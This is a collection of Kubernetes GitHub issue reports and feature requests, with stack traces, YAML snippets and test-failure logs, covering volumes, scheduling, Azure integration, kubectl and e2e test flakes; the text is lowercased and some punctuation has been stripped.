.run+0x24e\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:102\r 0xa052f9\tk8s.io/kubernetes/pkg/client/cache.  reflector .watchhandler+0x1689\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:346\r 0xa02fab\tk8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch+0xe3b\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:317\r 0xa0a63a\tk8s.io/kubernetes/pkg/client/cache.  reflector .rununtil.func1+0x4a\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:198\r 0xbf15ff\tk8s.io/kubernetes/pkg/util/wait.jitteruntil.func1+0x6f\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96\r 0xbf0d5d\tk8s.io/kubernetes/pkg/util/wait.jitteruntil+0xbd\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97\r 0xbf0c7a\tk8s.io/kubernetes/pkg/util/wait.until+0x5a\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52\r 0xa0aae3\tk8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1+0x3b3\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:266\r 0x579d3a\tk8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .run+0x63a\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:122\r 0x5801d7\tk8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler.func1+0x157\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:174\r 0x4972ad\ttesting.  t .run+0x56d\t\t/usr/local/go/src/testing/testing.go:647\r 0x49bb99\ttesting.runtests.func1+0xb9\t/usr/local/go/src/testing/testing.go:793\r 0x496cc9\ttesting.trunner+0xc9\t\t/usr/local/go/src/testing/testing.go:610\r 0x49868a\ttesting.runtests+0x4ba\t\t/usr/local/go/src/testing/testing.go:799\r 0x49785f\ttesting.  m .run+0x12f\t\t/usr/local/go/src/testing/testing.go:743\r 0x401428\tmain.main+0x1b8\t\t\tk8s.io/kubernetes/federation/pkg/federation-controller/namespace/_test/_testmain.go:54\r 0x430fec\truntime.main+0x18c\t\t/usr/local/go/src/runtime/proc.go:183\r 0x4aabdd\tk8s.io/kubernetes/federation/pkg/federation-controller/namespace.  namespacecontroller .run.func1+0x4d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller.go:263\r 0xa1bfa5\tk8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher.func1+0xc5\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/record/event.go:228\r 0xa3aef2\tk8s.io/kubernetes/pkg/watch.  broadcaster .loop+0x92\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/watch/mux.go:201\r 0xa43d9d\tk8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon+0x9d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879\r 0x580066\tk8s.io/kubernetes/federation/pkg/federation-controller/util.startbackoffgc.func1+0x126\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/backoff.go:28\r 0x5515dd\truntime/pprof.writeruntimeprofile+0xbd\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:614\r 0x551379\truntime/pprof.writegoroutine+0xc9\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:576\r 0x54cbfd\truntime/pprof.  profile .writeto+0x47d\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/pprof/pprof.go:298\r 0xa4e376\tk8s.io/kubernetes/federation/pkg/federation-controller/util/test.checkobjectfromchan+0x2a6\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/test/test_helper.go:256\r 0x4a8001\tk8s.io/kubernetes/federation/pkg/federation-controller/namespace.testnamespacecontroller+0x1ae1\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller_test.go:140\r 0x496cc9\ttesting.trunner+0xc9\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/testing/testing.go:610\r <autogenerated>:10: \r                         \r \terror trace:\tnamespace_controller_test.go:140\r \t\r \terror:\t\treceived unexpected error \ failed to get an object from channel\ \r \t\r <autogenerated>:10: \r                         \r \terror trace:\tnamespace_controller_test.go:147\r \t\r \terror:\t\t\ map  \  does not contain \ a\ \r \t\r    \r

hi,\r i deploy kubernetes using ansible on two nodes  1 master and one slave , it brings : version 1.5.2\r \r everything working fine except when i use subpath:\r \r the issue is, i have subpath set to a file in a configmap to map it into the right place in my container. but kubernetes assumes subpath is a directory and always does a mkdir over it. this causes things to fail. \r \r i already see this issue in  https://github.com/kubernetes/kubernetes/issues/45613   but it was about kubernetes version 1.6.3 and the solution was that the update  1.6.4  will correct this.\r \r i'm wondering how can i resolve this, without switching version? and can i use a resent version deployed with ansible ? \r \r can you help me please  \r \r

there is a bug where if an error returned when looking up a node is not an instance of  autorest.detailederror  that the azure client will mistakenly return  not-found, nil  instead of the error.\r \r this can cause a variety of problems, including nodes going into the  notready  state.

 \r   what happened  :\r i have a deployment that i would like to process some data, exit, and restart. it's important to the application that it has a clean environment every time. i don't need to impose any kind of scheduling or anything on it, just run and loop.\r \r after reading these docs:\r \r https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/ restart-policy\r \r in particular:\r \r > failed containers that are restarted by the kubelet are restarted with an exponential back-off delay  10s, 20s, 40s …  capped at five minutes\r \r i assumed that, as long as my process exits  successfully   i.e, exit status 0 , kubernetes wouldn't be silly enough to consider it \ failed\ . but, of course, it does, so my process ends up in a crashloopbackoff state. i didn't think kubernetes was silly, so i spent a lot of time trying to diagnose why my process was considered \ failed\   from making sure it was actually returning 0 in various ways, to just issues on github, like this: https://github.com/kubernetes/kubernetes/issues/50962  \r \r other documentation seems to indicate that a container that exits 0 should not be considered \ failed\ :\r https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/ pod-phase\r \r > failed: all containers in the pod have terminated, and at least one container has terminated in failure. that is, the container either exited with non-zero status or was terminated by the system\r \r https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/ container-probes : \r \r > the default state of readiness before the initial delay is failure. if a container does not provide a readiness probe, the default state is success\r \r yet, in the on github issue i've seen that touches on this:\r https://github.com/kubernetes/kubernetes/issues/50962\r \r > this is intentional, as @jianzhangbjz noted. i think a cron job may be better suited for you.\r \r seems to indicate that, no, if a container exits 0, it 's in a \ failed\  state, and the backoff applies. this aligns with my experience, but not the documentation.\r \r   what you expected to happen  :\r \r i expect to be able to read the documentation and clearly understand what happens when a container exits with a clean return code   0  , and a restart policy of always. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r launch a container that runs, processes data, and exits 0, with a restart policy of always. watch it go into a crashloopbackoff state, and then try to understand why by reading the kubernetes documentation. you will find that the documentation is unclear at best, and misleading at worst.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r feature request\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r when install k8s on azure, we current depends on service principal  spn  provided by user to get authentication to azure cloud. the problem is, \r 1. we left secrets on the node\r 2. hard to manage spn  note, spn also has expiration time \r \r   what you expected to happen  :\r azure identity team is working on   explicit managed service identity    emsi  feature. it takes over the managed part. and it give you a single identity as azure resource to manage.\r \r we need to add support for azure cloudprovider to be able to use emsi to authenticate with azure. my proposal would be, add an optional flag in azure.json file\r    \r userassignedid  string  json:\ userassignedid\  \r    \r \r azure already have a flag  usemanagedidentityextension .  it was introduced before, for implicit managed service identity \r \r    \r if usemanagedidentityextension == true {\r       if userassignedid is valid {\r             using emsi\r       } else {\r             using implict msi\r       }\r } else {\r      using spn\r }\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>    \r >        volumemounts:\r >         - name: config-volume\r >           mountpath: /etc/rabbitmq\r >         - name: rabbitmq-data\r >           mountpath: /var/lib/rabbitmq/mnesia\r >     volumes:\r >     - name: config-volume\r >       configmap:\r >         name: rabbitmq-config\r >         items:\r >         - key: rabbitmq.conf\r >           path: rabbitmq.conf\r >         - key: enabled_plugins\r >           path: enabled_plugins\r >     volumeclaimtemplates:\r >     - metadata:\r >         name: rabbitmq-data\r >       spec:\r >         accessmodes:   \ readwriteonce\   \r >         storageclassname: \ ceph-storage\ \r >         resources:\r >           requests:\r >             storage: 2gi        \r >   \r \r volumes are used to mount configuration files,volumeclaimtemplates to apply for and mount a persistent volume,but can't create.\r \r i know that by creating a pvc and then using volumes for mount, this is not convenient.

what would you like to be added  :\r right now there are several places in the volume controller where findattachablepluginbyspec is used to determine if a spec is attachable.  that test take into account plugin.canattach   to determine attachability.  however, places where findattachablepluginbyname may may not have that check.\r \r   why is this needed  :\r this is to update volume manager where reconciliation loop uses findattachablepluginbyname is used to apply the attachable plugin.canattach check where attachment is needed.

while working with a customer issue, customer had a 1.0.6  kubectl  talking to a 1.1 cluster and sent it the equivalent of the following  replicationcontroller   note the  downwardapi  volume :      apiversion: v1 kind: replicationcontroller metadata:   name: api-sandbox   labels:     env: sandbox spec:   replicas: 1   selector:     name: api-sandbox     env: sandbox   template:     metadata:       labels:         name: api-sandbox         env: sandbox     spec:       containers:         - name: api-sandbox           image: nginx:latest           volumemounts:             - name: podinfo               mountpath: /etc/podinfo               readonly: false       volumes:         - name: podinfo           downwardapi:             items:               - path: \ labels\                  fieldref:                   fieldpath: metadata.labels      there's no way to even detect that this is a problem, the  downwardapi  volume spec just gets stripped:      $ /tmp/kubectl.1.0.6 create -f /tmp/downward.yaml --validate=true replicationcontrollers/api-sandbox $ kubectl get -oyaml replicationcontrollers/api-sandbox apiversion: v1 kind: replicationcontroller metadata:   creationtimestamp: 2016-02-03t21:28:00z   generation: 1   labels:     env: sandbox   name: api-sandbox   namespace: default   resourceversion: \ 3998\    selflink: /api/v1/namespaces/default/replicationcontrollers/api-sandbox   uid: 00615070-cabd-11e5-8912-42010af00192 spec:   replicas: 1   selector:     env: sandbox     name: api-sandbox   template:     metadata:       creationtimestamp: null       labels:         env: sandbox         name: api-sandbox     spec:       containers:       - image: nginx:latest         imagepullpolicy: always         name: api-sandbox         resources: {}         terminationmessagepath: /dev/termination-log         volumemounts:         - mountpath: /etc/podinfo           name: podinfo       dnspolicy: clusterfirst       restartpolicy: always       terminationgraceperiodseconds: 30       volumes:       - emptydir: {}         name: podinfo status:   observedgeneration: 1   replicas: 1      cc @brendandburns

projects such as helm and dashboard vendor in kubectl.  this is a terrible experience kubectl: - only supports go - uses stdout for returning results - uses flags to configure behavior  a quick and dirty solution would be to. 1. refactor kubectl business logic into libraries: tracked in  7311 2. provide programatic access to the kubectl commands via a grpc service run as a sidecar in a kubernetes pod  alternatively we could: move the client logic into the api server so thick client logic is not required.  12143  pros: this is a better engineering solution. cons: this is much more challenging and time consuming.  i propose we knock out the quick and dirty solution while we work towards the longer term goal of moving logic into the api server.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r  kubectl version  1.4  patch-release\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r generic error message for missing binaries on the host\r \r   what you expected to happen  :\r error message stating :  not finalized  \ mount failed: unable to complete mount for volume  nfs-data-vol . binary required for mounting, '/sbin/mount.nfs', does not exist on host machine. verify that your node machine has the binaries necessary for mounting this volume type.\ \r \r   how to reproduce it    as minimally and precisely as possible :\r user creates a pod referencing an nfs volume. if the nfs binaries are not present on the host, a mount failed event is created with the following message :-\r \r sep 24 21:17:31.083: info: at 2016-09-24 21:11:05 -0700 pdt - event for write-pod-1mzyy: {kubelet e2e-test-vishnuk-minion-group-jo\r 4u} failedmount: mountvolume.setup failed for volume \ kubernetes.io/nfs/13fd01f0-82d6-11e6-959f-42010af00002-nfs-1nmbf\   spec.name\r : \ nfs-1nmbf\   pod \ 13fd01f0-82d6-11e6-959f-42010af00002\   uid: \ 13fd01f0-82d6-11e6-959f-42010af00002\   with: mount failed: exit s\r tatus 32\r mounting arguments: 10.180.0.10:/exports /var/lib/kubelet/pods/13fd01f0-82d6-11e6-959f-42010af00002/volumes/kubernetes.io~nfs/nfs-\r 1nmbf nfs   \r output: mount: wrong fs type, bad option, bad superblock on 10.180.0.10:/exports,\r        missing codepage or helper program, or other error\r         for several filesystems  e.g. nfs, cifs  you might\r        need a /sbin/mount.<type> helper program \r \r        in some cases useful info is found in syslog - try\r        dmesg | tail or so.\r \r \r \r

i am encountering the following exception while running  make test-integration  on master.\r \r    \r f0107 15:18:31.741148    5835 apiserver.go:91  error creating self-signed certificates: mkdir /var/run/kubernetes: permission denied\r goroutine 101  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0x25b9c00, 0xc400000000, 0x85, 0xd5 \r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa5\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x2599900, 0xc400000003, 0xc420032480, 0x240a13f, 0xc, 0x5b, 0x0 \r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:717 +0x337\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x2599900, 0x3, 0x19ea3e0, 0x2b, 0xc4204e1c18, 0x1, 0x1 \r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14c\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatalf 0x19ea3e0, 0x2b, 0xc4204e1c18, 0x1, 0x1 \r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1145 +0x67\r k8s.io/kubernetes/examples/apiserver.  serverrunoptions .run 0xc42037bda0, 0xc42019d500, 0x0, 0x0 \r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/examples/apiserver/apiserver.go:91 +0x1200\r k8s.io/kubernetes/test/integration/discoverysummarizer.runapiserver.func1 0xc42037bda0, 0xc42019d500, 0xc420620480 \r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/discoverysummarizer/discoverysummarizer_test.go:74 +0x39\r created by k8s.io/kubernetes/test/integration/discoverysummarizer.runapiserver\r \t/u01/clove/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/discoverysummarizer/discoverysummarizer_test.go:77 +0x7e\r fail\tk8s.io/kubernetes/test/integration/discoverysummarizer\t1.013s\r    \r \r on centos: linux build-01-pi 3.10.0-327.36.3.el7.x86_64  1 smp mon oct 24 16:09:20 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r go: go version go1.7.3 linux/amd64\r \r \r

\r git clone https://github.com/kubernetes/kubernetes.git\r cloning into 'kubernetes'...\r remote: counting objects: 528551, done.\r remote: compressing objects: 100%  36/36 , done.\r remote: total 528551  delta 13 , reused 13  delta 11 , pack-reused 528504\r receiving objects: 100%  528551/528551 , 427.49 mib | 402.00 kib/s, done.\r resolving deltas: 100%  354752/354752 , done.\r fatal: cannot create directory at 'staging/src/k8s.io/apiserver/pkg/server/options/testdata/localhost__127.0.0.1/test.com_ .test.com_': invalid argument\r warning: clone succeeded, but checkout failed.\r    \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r stale conntrack mappings resulting from hostport nat rules can cause traffic to be blackholed/sent to the wrong pod when the ip of the hostport pod changes.\r \r   what you expected to happen  :\r \r conntrack mappings should be deleted by kubelet when it changes the nat mappings for a hostport.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. pod a specifying hostport 1234 is started. kubelet opens the port to make sure it isn't in use, and installs nat mappings that direct traffic to pod a.\r 1. something sends traffic to hostport 1234, resulting in a conntrack mapping referring to pod a's ip address\r 1. pod a is terminated by a deployment upgrade\r 1. pod b specifying hostport 1234 is started. kubelet opens the port to make sure it isn't in use, and installs nat mappings that direct traffic to pod b.\r 1. further traffic to hostport 1234 is captured by the conntrack mapping referring to pod a's ip, and is misdirected there instead of going to pod b as specified by the updated nat rules.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  : unable to override the coredns image tag for a kubeadm installation in the kubeadm config file\r \r   what you expected to happen  : be able to override the coredns image tag for a kubeadm installation in the kubeadm config file\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r the coredns image tag is hard-coded as a constant and referenced at https://github.com/kubernetes/kubernetes/blob/0ffee495ad173fc75c01031cd3e90798de7fb9c0/cmd/kubeadm/app/images/images.go l85 when installing coredns.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

some api objects about the proxy subresource of pod as follows: connect delete requests to proxy of pod  delete /api/v1/namespaces/{namespace}/pods/{name}/proxy/{path: }   but i don't know what's the function of the proxy subresource of pod. i tried to search in the doc directory,  but couldn't find them.  is there any document about the proxy subresource of pod?

afaik, we don't have such a script yet. such a script will make it convenient for users who want to experiment k8s with more worker.   this is forwarded for a user request during my user-support rotation

this missed the cut due in the rush for 1.3, but exporting all of the journald fields is pretty excessive - most of them are unnecessary and just get in the way. for example, this is all the info that gets exported for a typical message  in addition to the metadata attached by fluentd :      structpayload: {     syslog_identifier: \ docker\            _hostname: \ gke-arob-test-gci-default-pool-78709c83-sual\            message: \ time=\ 2016-06-29t17:34:20.797624934z\  level=debug msg=\ calling get /v1.23/containers/json\ \            _systemd_unit: \ docker.service\            priority: \ 6\            _transport: \ stdout\            _gid: \ 0\            _cmdline: \ /usr/bin/docker daemon -s overlay --host=fd:// -p /var/run/docker.pid --iptables=false --ip-masq=false --log-level=debug --bridge=cbr0 --insecure-registry 10.0.0.0/8\            _pid: \ 1441\            _cap_effective: \ 3fffffffff\            _exe: \ /usr/bin/docker\            _machine_id: \ f63f0f17ff364194458987d2577404a0\            _boot_id: \ 6050440b4553480b803a006469bae74e\            syslog_facility: \ 3\            _systemd_cgroup: \ /system.slice/docker.service\            _comm: \ docker\            _systemd_slice: \ system.slice\            _uid: \ 0\          }      and since \ message\  is capitalized, it doesn't get special cased by the log viewer as the main content to be displayed  as it would if it were just \ message\  , so it's tough to read any of the logs without digging into their details.  @adityakali

now that we have various components producing events, we need to start processing them. our current policy of a 2 day ttl isn't going to scale.  so, i want us to build an event manager.  the basic sketch is that it reads events from the cluster, processes them, and archives them.  a. reading events: 1. it runs in a pod as part of your kubernetes cluster. 2. it uses the \ kubernetes\  service to contact the master. 3. it lists & then watches all events.  b. process events 1. idea: compression. if you see n events identical except for timestamp, transform that into one event with n timestamps. 2. alternatively, do the same but for sequences of events. like if a pod is in a pull -> fail -> pull... loop, make a meta-event and start storing timestamps. 3. main purpose: actively manage the events stored in the kubernetes system, with the goal of maximizing usefulness while storing only a sane number of events. 4. idea: provide scriptable/configurable hooks. for example, it would great for an admin to make a policy here that deletes a pod after n failures to start. or up a level, to delete a replication controller that's making crashlooping pods. or delete a pod if it fails to schedule after 30 minutes. etc. 5. idea: provide scriptable/configurable alerts. as above, but email/page an admin/owner instead of deleting something. 6. idea: upon reading an event, update the object's status information to reflect the new information.  c. archive events 1. store the events in a db of some sort for offline analysis. ideally the latency between the event getting added to k8s and getting stored in the db is low  d. misc open questions 1. run one per namespace or one per cluster? i'd prefer the latter, but we'd have to be cognizant of not leaking information between namespaces.  we can also explore the idea of kubernetes writing events to a non-etcd  or separate etcd  db in the first place. events are the primary source of write load on etcd right now. it's good for the moment in that it's exposing some bugs in our use of etcd, but in the long term it's probably more efficient for us to use a different storage mechanism for events.

kubernetes version    use  kubectl version  : 1.4    environment  : -   cloud provider or hardware configuration  : gcp  deleting federated ingress object doesn't remove associated load balancers and external ip address  on gcp

test has been failing  100% of the time  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master&include-filter-by-regex=pods%20should%20not%20start%20app%20containers%20and%20fail%20the%20pod%20if%20init%20containers%20fail%20on%20a%20restartnever%20pod  in  ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master/15 .\r \r based on  spreadsheet  https://docs.google.com/spreadsheets/d/1sazqywe--0fvn1piuktw9jwmcxnz6tqim1mrjdiltm4/edit gid=1325239137&vpid=a1  tracking 1.5 upgrade test failures created by @krousey.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : statefulset ordinal config\r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.2\r \r \r with a statefulset, the hostname is set to  name- _ordinal_. it is a common pattern with the types of services that go into statefulsets to expect the unique id of the service to be passed, e.g. as an env var. \r \r this causes all sorts of interesting contortions, like extending the official zookeeper image to try and guess the ordinal index of the set from the hostname and then set another var with the index.\r \r it would be good if there were some templating format so that the property could be set directly in the config file. e.g.  simplified :\r \r    yml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: zk\r spec:\r   servicename: zk-headless\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: zk\r     spec:\r       containers:\r       - name: zk\r         imagepullpolicy: always\r         image: zookeeper\r         resources:\r         env:\r         - name : zoo_my_id\r           value: ${{ordinal}}\r         - name : zoo_servers\r           value: server.0=zk-0:2888:3888 server.1=zk-1:2888:3888 server.2=zk-2:2888:3888\r         - name : zoo_tick_time\r           value: \ 2000\ \r         - name : zoo_init_limit\r           value: \ 10\ \r         - name : zoo_sync_limit\r           value: \ 5\ \r    \r \r \r

failure cluster  c376a60af0c9f9d150d7  https://go.k8s.io/triage c376a60af0c9f9d150d7        error text:     error: 2 leaked resources   instance-templates   +bootstrap-e2e-minion-template-v1-6-5-beta-0-36-157d6e706564cd  n1-standard-2               2017-05-22t16:05:58.806-07:00   disks   +bootstrap-e2e-e9efabb9-3f41-11e7-bb0a-0242ac110005              us-central1-f  10       pd-ssd       ready           failure cluster statistics: 1 tests failed,    3 jobs failed,    53 builds failed. failure stats cover 1 day time range '22 may 2017 18:00 utc' to '23 may 2017 18:00 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | diffresources | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster | 50 |  23 may 2017 17:25 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster/3280  | | ci-kubernetes-e2e-gce-latest-upgrade-cluster | 2 |  23 may 2017 10:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/2081  | | ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster | 1 |  22 may 2017 22:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster/245  |   current status  https://go.k8s.io/triage c376a60af0c9f9d150d7

 \r   description  :\r \r in  generic_scheduler.go:nodeswherepreemptionmighthelp  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/core/generic_scheduler.go l978 , we're going to ignore the nodes with  predicates.errnodenetworkunavailable ; but we provide taintnodesbycondition  alpha  feature to give user a chance to ignore it, e.g. calico controller.\r \r /cc @bsalamat @luxas

the rescheduler test   sig-scheduling  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available  has failed for a long time.\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/rescheduler.go:55\r expected error:\r     < errors.errorstring | 0xc420eccb70>: {\r         s: \ error while scaling rc kubernetes-dashboard to 2 replicas: scaling the resource failed with: unable to get client for deployments.extensions: unable to get full preferred group-version-resource for deployments.extensions: the cache has not been filled yet\ ,\r     }\r     error while scaling rc kubernetes-dashboard to 2 replicas: scaling the resource failed with: unable to get client for deployments.extensions: unable to get full preferred group-version-resource for deployments.extensions: the cache has not been filled yet\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/rescheduler.go:73\r    \r \r let's either fix this test or skip it.\r \r @kubernetes/sig-scheduling-misc \r /cc @piosz

follow-up from https://github.com/kubernetes/kubernetes/pull/60076 discussion_r170075024\r \r depending on the type of request, the physical size in bytes can vary a lot, from 10s of bytes to megabytes. currently buffered audit backend batches requests without taking this into account, which can result in super-heavy requests to the webhook, that have hight chance to timeout and be dropped as a result.\r \r one possible way to implement this would be optionally serializing requests before sending them to the delegate audit backend and measuring the size.\r \r /cc @sttts @ericchiang @caoshufeng @tallclair @soltysh

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r specify  resourcegroup  in azure file storage class so that user could specify external resource group\r \r    \r ---\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: azurefile\r provisioner: kubernetes.io/azure-file\r parameters:\r   storageaccount: existing_storage_account\r   resourcegroup: resource_group_name\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

